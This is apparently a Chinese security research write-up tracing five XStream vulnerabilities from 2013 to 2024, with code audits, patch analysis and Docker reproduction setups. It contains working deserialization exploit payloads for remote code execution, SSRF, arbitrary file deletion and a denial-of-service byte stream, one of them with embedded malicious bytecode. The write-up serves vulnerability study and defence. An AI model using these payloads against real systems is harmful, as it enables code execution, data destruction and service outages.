本文汇集了 XStream 五个典型漏洞的审计分析,按时间线编排,展现 XStream 安全机制与攻击手法之间的十年攻防演进:从最初的反序列化 RCE,到黑名单被绕过后的 SSRF 与文件操作利用,再到更复杂的 Gadget 链与全新的二进制格式攻击面。
实验说明: 文中的 PoC 与复现环境仅用于授权安全研究和防御验证。建议在隔离容器或测试虚拟机中运行,不要对未授权目标进行测试。
CVE-2013-7285:反序列化 RCE —— 一切的开端
CVE-2013-7285 是 XStream 历史上最经典的反序列化漏洞之一。它的核心思路至今仍影响着大量 XStream 漏洞的利用方式:通过 dynamic-proxy 标签创建动态代理对象,将方法调用转发至 java.beans.EventHandler,最终触发 ProcessBuilder.start() 执行任意系统命令。这条链子的出现,揭开了 XStream 安全持久战的序幕。
1. 审计过程
根据 PoC 逆推,这个洞可以看标签推出来。首先 sorted-set 可以在 XStream.java 中看到 this.alias("sorted-set", SortedSet.class); 可知 sorted-set 对应 SortedSet

跟进可以看到这个 SortedSet 是个接口并无构造方法,于是找默认实现类。在 XStream.java 中的 setupDefaultImplementations 方法中可以看到 SortedSet 的默认实现类是 TreeSet,于是跟进 TreeSet(注意此处内存中就已经是一个 TreeSet 实例了)

发现这里也是接口,但没断掉,因为下面有个 this(new TreeMap<>()),当 XStream 检测到 TreeMap 已经被创建好了就会去使用 CollectionConverter.class 中的 populateCollection 函数解析 XML 标签。

看下调用堆栈:

继续往下走发现走到了重载的方法里:

于是就又是 moveDown() → moveUp。其中 moveDown() 是为了跳进 XML 下一层节点。跟进 addCurrentElementToCollection:

target.add(item); 中的 target 就是之前 new 的那个 TreeMap,而此处的 item 就是 PoC 中的第二个节点,也就是动态代理:

但是调试信息中显示 item 是 touch,这就是一个问题所在。看一下调用堆栈:

发现 touch 在最底下,在 target.add(item) 处打个断点就可以看到 item 变了:

跟踪调试就能发现程序是通过 populateCollection 函数中的 while 去把栈里的元素挨个轮一遍,最后 item 归到的就是动态代理。

当 item 归到动态代理之后,由于之前说过创建的是 TreeSet 实例,所以会跳到下图中的 add 方法,里面的 e 就是 item,也就是刚才的动态代理:

再跟进 put 方法:

里面有 compare,再跟会发现里面有 compareTo。这个时候问题就来了,compareTo 里面的 K 就是动态代理,它向程序声明自己有 compareTo 方法,但实际上它将程序动态代理至 EventHandler,而 EventHandler 本身不会在意动态代理转过来的参数,它只在乎自己收到了 invoke 请求,然后去执行攻击者所写的代码:ProcessBuilder.start()。这就是完整的链子。
2. 补丁分析
第一步、基础安全框架

虽然还是默认允许 any 但是用户和开发者可以通过 securityMapper 添加黑名单类:

看一下 securityMapper,貌似是白名单:

但实际上在 XStream.java 里面已经开完权限了,所以还是黑名单。

第二步、拦截动态代理
官方第二步的修复方法是把 java.beans.EventHandler 加了黑名单并且给开发者提供了 denyTypes,例如调用 xstream.denyTypes(new String[]{"java.beans.EventHandler"}) 时先允许 any 后封禁 EventHandler。

3. PoC 与验证
官方 PoC
<contact class='dynamic-proxy'>
<interface>org.company.model.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>
XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);
已验证 PoC
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
import java.io.File;
public class CVE_2013_7285_POC {
public static void main(String[] args) {
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY);
String xml = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>touch</string>\n" +
" <string>/tmp/cve-2013-7285-pwned.txt</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
System.out.println("[*] 正在加载 CVE-2013-7285 Payload...");
try {
xstream.fromXML(xml);
System.out.println("[+] Payload 执行完成");
} catch (Exception e) {
System.err.println("[!] 异常信息: " + e.getMessage());
}
// 验证文件是否创建
File f = new File("/tmp/cve-2013-7285-pwned.txt");
if (f.exists()) {
System.out.println("[✓] 漏洞利用成功!文件已创建");
} else {
System.out.println("[✗] 漏洞利用失败,文件未创建");
}
}
}
4. 复现环境
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.17</version>
</dependency>
<dependency>
<groupId>xmlpull</groupId>
<artifactId>xmlpull</artifactId>
<version>1.1.3.1</version>
</dependency>
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
<version>1.1.4c</version>
</dependency>
</dependencies>
FROM eclipse-temurin:8-jdk
WORKDIR /app
ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar
ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar
ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jar
COPY CVE_2013_7285_POC.java /app/CVE_2013_7285_POC.java
RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" CVE_2013_7285_POC.java
CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar CVE_2013_7285_POC"]

CVE-2013-7285 的修复方案是加黑名单封禁 EventHandler,但这只是治标——黑名单永远可以通过寻找新的 Gadget 类来绕过。到了 2020 年,随着 XStream 逐渐将常见的 RCE 类列入黑名单,攻击者的目光开始转向那些不直接执行命令、但仍有实际危害的工具类。下面两个 CVE 就是这一思路的典型产物:一个利用内部类发起了 SSRF,另一个则实现了任意文件删除。它们共享同一个入口——map 标签配合 NativeString 的 hashCode() 触发链。
CVE-2020-26258:SSRF 服务端请求伪造
CVE-2020-26258 和 CVE-2020-26259 都是基于 CVE-2020-26257 的同源漏洞——前半段触发路径完全一致,区别仅在于最终被利用的工具类不同:一个用于网络探测(SSRF),一个用于文件操作(任意文件删除)。
1. 审计过程
和任意文件删除一样都是基于 CVE-2020-26257 的漏洞,跟 CVE-2020-26259 也一样只不过一个是删文件的工具类一个是探测网络的工具类。
前半段都是 putCurrentEntryIntoMap、hashCode()、toString()、Base64data()、get() 等等:

SSRF 利用的就是 getInputStream:

2. 补丁分析

黑名单,应该是最后一波黑名单了。
3. PoC 与验证
官方 PoC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
已验证 PoC
package org.example;
import com.thoughtworks.xstream.XStream;
public class CVE_2020_26258 {
public static void main(String[] args) {
String ssrf_xml = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='javax.activation.URLDataSource'>\n" +
" <url>http://dnslog url/:</url>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream();
xstream.fromXML(ssrf_xml);
}
}
4. 复现环境
FROM maven:3.8.1-jdk-8
WORKDIR /app
RUN mkdir -p src/main/java/org/example
RUN echo '<project><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>demo</artifactId><version>1.0</version><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>' > pom.xml
COPY CVE_2020_26258.java src/main/java/org/example/CVE_2020_26258.java
RUN mvn compile
CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.CVE_2020_26258"]
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>xstream-poc</artifactId>
<version>1.0</version>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<!-- XStream依赖 - 漏洞版本1.4.14 -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>

docker build -t xstream-ssrf .
docker run --rm xstream-ssrf
CVE-2020-26259:任意文件删除
CVE-2020-26259 与上面的 CVE-2020-26258 共享同一条触发链,区别在于 SSRF 用的是 URLDataSource 发起网络请求,而任意文件删除用的是 ReadAllStream$FileStream——当 XStream 反序列化出的 InputStream 被 close 时,其引用的临时文件也会被删除。这是 XStream 漏洞演化中的一个重要转折点:当 RCE 的 Gadget 被封堵后,攻击者转而发掘非 RCE 但有实际危害的工具类。
1. 审计过程
这个漏洞的本质其实和好多反射致使 RCE 差不多,攻击者可以通过正常思路 RCE,官方封 RCE 的类,然后攻击者利用其他非 RCE 的类攻击,例如 SQL 注入、文件创建、文件删除等等。
简单跟一下吧。跟到 putCurrentEntryIntoMap:

进 put 后再进 hashcode(此时的 getStringValue 中的 toString 函数,这个 value 是 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data):

到 toString() 再跟 get():

漏洞的正常思路是通过此处的 is.close(); 去关闭文件的,下断点必须要在 try 里面下不然看不到进 try 的过程,因为下断点的话可以看到 this.data = null return 之后变成一堆 0,但如果不在里面下断点的话程序会跳过直接 return 一堆 0 回来,看得我莫名其妙。

2. 补丁分析
官方使用黑名单形式添加了 .*\\.ReadAllStream\\$FileStream 进行处理,治标不治本。

3. PoC 与验证
官方 PoC
public void testCannotUseJaxwsInputStreamToDeleteFile() {
if (JVM.isVersion(5)) {
final String xml = ""
+ "<is class='com.sun.xml.ws.util.ReadAllStream$FileStream'>\n"
+ " <tempFile>target/junit/test.txt</tempFile>\n"
+ "</is>";
xstream.aliasType("is", InputStream.class);
try {
xstream.fromXML(xml);
fail("Thrown " + ConversionException.class.getName() + " expected");
} catch (final ForbiddenClassException e) {
// OK
}
}
}
public void testExplicitlyUseJaxwsInputStreamToDeleteFile() throws IOException {
if (JVM.isVersion(5)) {
final File testDir = new File("target/junit");
final File testFile = new File(testDir, "test.txt");
try {
testDir.mkdirs();
final OutputStream out = new FileOutputStream(testFile);
out.write("JUnit".getBytes());
out.flush();
out.close();
assertTrue("Test file " + testFile.getPath() + " does not exist.", testFile.exists());
final String xml = ""
+ "<is class='com.sun.xml.ws.util.ReadAllStream$FileStream'>\n"
+ " <tempFile>target/junit/test.txt</tempFile>\n"
+ "</is>";
xstream.addPermission(AnyTypePermission.ANY); // clear out defaults
xstream.aliasType("is", InputStream.class);
InputStream is = null;
try {
is = (InputStream)xstream.fromXML(xml);
} catch (final ForbiddenClassException e) {
// OK
}
assertTrue("Test file " + testFile.getPath() + " no longer exists.", testFile.exists());
byte[] data = new byte[10];
is.read(data);
is.close();
assertFalse("Test file " + testFile.getPath() + " still exists exist.", testFile.exists());
} finally {
if (testFile.exists()) {
testFile.delete();
}
if (testDir.exists()) {
testDir.delete();
}
}
}
}
已验证 PoC
package org.example;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exploit {
public static void main(String[] args) throws Exception {
String targetPath = System.getProperty("os.name").toLowerCase().contains("windows")
? "victim.txt"
: "/tmp/victim.txt";
Files.write(Paths.get(targetPath), "Exploit Success".getBytes());
File f = new File(targetPath);
System.out.println("[*] Target file: " + f.getAbsolutePath() + " exists: " + f.exists());
XStream xstream = new XStream();
String xml_poc = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
" <tempFile>" + f.getAbsolutePath() + "</tempFile>\n" +
" </is>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
System.out.println("[*] Triggering exploit via ReadAllStream$FileStream...");
try {
xstream.fromXML(xml_poc);
} catch (Exception e) {
}
System.gc();
System.runFinalization();
Thread.sleep(1000);
System.out.println("[*] Exploit Check:");
if (!f.exists()) {
System.out.println("\n[SUCCESS] CVE-2020-26259 Reproduced! File Deleted.");
} else {
System.out.println("\n[FAILED] File still exists. Try checking if ReadAllStream$FileStream exists in this JDK.");
}
}
}
4. 复现环境
Dockerfile:
FROM maven:3.8.4-jdk-8-slim AS builder
WORKDIR /app
COPY pom.xml .
RUN mvn dependency:go-offline
COPY src ./src
RUN mvn package -DskipTests
FROM eclipse-temurin:8-jre
WORKDIR /app
COPY --from=builder /app/target/*-with-dependencies.jar app.jar
CMD ["java", "-jar", "app.jar"]
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>com.poc</groupId>
<artifactId>xstream-dos-reproduction</artifactId>
<version>1.0</version>
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>org.example.Exploit</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

5. 参考链接
2020 年的这两个漏洞说明了一件事:只要反序列化入口存在,即使封死了 RCE 类,攻击者依然能利用 JDK 内部类实现 SSRF、文件删除等有效攻击。XStream 的应对策略仍然是打补丁式的黑名单追加。然而到了 2021 年,更复杂的 Gadget 链出现了——攻击者将动态代理与 CompositeInvocationHandlerImpl、DTraceProbe、TemplatesImpl 组合起来,直接绕过了层层黑名单,在最新的 JDK 内部类中找到了新的 RCE 路径。
CVE-2021-39149:反序列化 RCE —— 进阶 Gadget 链
CVE-2021-39149 代表了 XStream 反序列化攻击的又一次升级。与 CVE-2013-7285 中简单的 EventHandler 链不同,这条链子利用 CompositeInvocationHandlerImpl 作为动态代理的 handler,配合 DTraceProbe 的反射能力,最终通过 TemplatesImpl.getOutputProperties() 加载恶意字节码实现 RCE。相比 2013 年的那条"直球"链,2021 年的链子明显更加复杂,也反映了 XStream 黑名单机制下攻击者持续的绕过努力。
1. 审计过程
Payload 最外层节点变成了 linked-hash-set,直接去 XStream.java 里看吧:

跟进发现是个接口类:

于是往下跟父类,在父类中找到 add() 方法:

再跟 put() → hash() → hashcode(),这个点先按下不表:

接着看 PoC 子节点,dynamic-proxy 依旧动态代理。声明自己有一个 map 方法,实际上当程序调用这个"map"之后走的是 CompositeInvocationHandlerImpl。既然动态代理声明自己是 map 了程序就觉得你肯定有 hashcode 吧,什么原因看上文。
转到 CompositeInvocationHandlerImpl 之后通过 invoke 方法直接触发危险类:

这个 invoke 方法感觉问题还是很大,有空看看最新源码,感觉还是有问题。它的作用主要是查看当前被调用的方法是属于哪个类的,有没有对应 handler 处理,有的话交过去,没有的话走默认 handler。
攻击的大致链路就如下:
HashMap调用proxy.hashCode()。hashCode方法属于java.lang.Object类。CompositeInvocationHandlerImpl的invoke被触发,它去查自己的 Map。- 它发现:针对
Object类的方法(hashCode),有一个现成的DTraceProbe处理器。 DTraceProbe能反射且参数可控(如下图):

2. 补丁分析
改成默认白名单了:

3. PoC 与验证
已验证 PoC
package org.example;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
public class FinalExploit {
public static void main(String[] args) {
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY);
String xml = "<linked-hash-set>\n" +
" <dynamic-proxy>\n" +
" <interface>map</interface>\n" +
" <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" +
" <classToInvocationHandler class='linked-hash-map'/>\n" +
" <defaultHandler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Object</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Object</class>\n" +
" <name>hashCode</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>\n" +
" <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
" <default>\n" +
" <__name>Pwnr</__name>\n" +
" <__bytecodes>\n" +
" <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjYwNjU5MwEAG0x5c29zZXJpYWwvUHduZXI2MzM1MDU2NjA2NTkzOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8S",
// ... (binary truncated for readability; see original file)
" </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
" </proxy>\n" +
" <implementing__method>\n" +
" <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>\n" +
" <name>getOutputProperties</name>\n" +
" <parameter-types/>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </defaultHandler>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</linked-hash-set>";
System.out.println("[*] 正在加载二进制 Payload,准备执行命令...");
try {
xstream.fromXML(xml);
} catch (Exception e) {
System.out.println("[+] 执行完成。");
}
}
}
简版 ProcessBuilder Payload:
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.AnyTypePermission;
import java.io.File;
public class FinalExploit {
public static void main(String[] args) {
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY);
// Linux创建文件的ProcessBuilder Payload
String xml = "<linked-hash-set>\n" +
" <dynamic-proxy>\n" +
" <interface>map</interface>\n" +
" <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" +
" <classToInvocationHandler class='linked-hash-map'/>\n" +
" <defaultHandler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Object</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Object</class>\n" +
" <name>hashCode</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <!-- ProcessBuilder 执行 touch /tmp/pwned.txt -->\n" +
" <proxy class='java.lang.ProcessBuilder'>\n" +
" <command>\n" +
" <string>touch</string>\n" +
" <string>/tmp/pwned.txt</string>\n" +
" </command>\n" +
" </proxy>\n" +
" <implementing__method>\n" +
" <class>java.lang.ProcessBuilder</class>\n" +
" <name>start</name>\n" +
" <parameter-types/>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </defaultHandler>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</linked-hash-set>";
System.out.println("[*] 正在加载 ProcessBuilder Payload...");
try {
xstream.fromXML(xml);
System.out.println("[+] Payload 执行完成");
} catch (Exception e) {
System.err.println("[!] 异常信息: " + e.getMessage());
e.printStackTrace();
}
// 检查文件
File f = new File("/tmp/pwned.txt");
if (f.exists()) {
System.out.println("[✓] 漏洞利用成功!/tmp/pwned.txt 已创建");
} else {
System.out.println("[✗] 漏洞利用失败,文件未创建");
}
}
}
4. 复现环境
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.17</version>
</dependency>
<dependency>
<groupId>xmlpull</groupId>
<artifactId>xmlpull</artifactId>
<version>1.1.3.1</version>
</dependency>
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
<version>1.1.4c</version>
</dependency>
</dependencies>
FROM eclipse-temurin:8-jdk
WORKDIR /app
RUN apt-get update && apt-get install -y bash
ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar
ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar
ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jar
COPY FinalExploit.java /app/FinalExploit.java
RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" FinalExploit.java
CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar FinalExploit"]

CVE-2021-39149 迫使 XStream 从黑名单彻底转向了默认白名单机制——这是安全架构层面的根本性改变。但 XStream 的攻击面远不止 XML 反序列化这一块。到了 2024 年,一个完全不同的漏洞类型浮出水面:它不依赖任何 Gadget 链,不需要绕过黑白名单,甚至不涉及 Java 对象反序列化——仅仅通过 XStream 的二进制格式解析器 BinaryStreamDriver 中的一个递归缺陷,就能造成栈溢出拒绝服务。
CVE-2024-47072:BinaryStreamDriver 栈溢出 DoS
CVE-2024-47072 与前面四个漏洞有本质区别:它不涉及 Java 反序列化 Gadget 链,而是 XStream 的 二进制格式解析器 BinaryStreamDriver 中的递归缺陷。这提醒我们,即使 XStream 的反序列化安全机制已经非常成熟,其底层的解析逻辑仍然可能成为攻击入口。
1. 审计过程
首先了解 Token,这是 XStream 自己定义的黑话:

TYPE_START_NODE = 3:开始标签。相当于 XML 里的<name>。TYPE_END_NODE = 4:结束标签。相当于 XML 里的</name>。TYPE_ATTRIBUTE = 5:属性。相当于 XML 里的id="123"。TYPE_VALUE = 6:文本值。相当于标签里的具体内容,比如test_user。TYPE_MAP_ID_TO_VALUE = 2:存字典指令,告诉程序先记下一个 ID 和字符串的对应关系,方便后面简写。
问题出在 readToken() 函数里被选中的两行中:

当 token 为 2 的时候程序默认要存入一个字典,进入分支之后开始取 ID 取 value:

当攻击者传入如下数据时,10 为 2+8 得来,2 代表要存入字典、8 代表 ID 占一个字节、-127 为随意取值,0,0 代表存入的内容是空的。

当程序执行完存入字典的流程后,函数继续调用自身 return this.readToken(); 但上一个流程还没关闭,也就导致了无限递归。
2. 补丁分析

开发者修复方式是在此处添加了一个 do-while 循环,利用 continue 解决了递归问题,同时在下面添加了 mapping = !mapping; 的翻转,规避掉了连续两次存入字典的情况。
3. PoC 与验证
官方 PoC

已验证 PoC
package org.example;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.binary.BinaryStreamDriver;
import java.io.ByteArrayInputStream;
public class Exploit {
public static void main(String[] args) {
System.out.println("[*] 正在构造恶意二进制流...");
// 构造特定的字节数组,诱导 BinaryStreamDriver 进入无限递归
final byte[] byteArray = new byte[40000];
for (int i = 0; i < byteArray.length / 4; i++) {
byteArray[i * 4] = 10;
byteArray[i * 4 + 1] = -127;
byteArray[i * 4 + 2] = 0;
byteArray[i * 4 + 3] = 0;
}
try {
XStream xstream = new XStream(new BinaryStreamDriver());
System.out.println("[*] 开始反序列化...");
xstream.fromXML(new ByteArrayInputStream(byteArray));
} catch (StackOverflowError e) {
System.err.println("\n[!] 成功触发漏洞");
} catch (Exception e) {
e.printStackTrace();
}
}
}


4. 复现环境
FROM maven:3.8-openjdk-11-slim AS build
WORKDIR /app
COPY pom.xml .
RUN mvn dependency:go-offline
COPY src/main/java/org/example/Exploit.java /app/src/main/java/Exploit.java
RUN mvn compile -Dmaven.compiler.source=11 -Dmaven.compiler.target=11
CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.Exploit"]
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>com.poc</groupId>
<artifactId>xstream-dos-reproduction</artifactId>
<version>1.0</version>
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.20</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
</plugin>
</plugins>
</build>
</project>

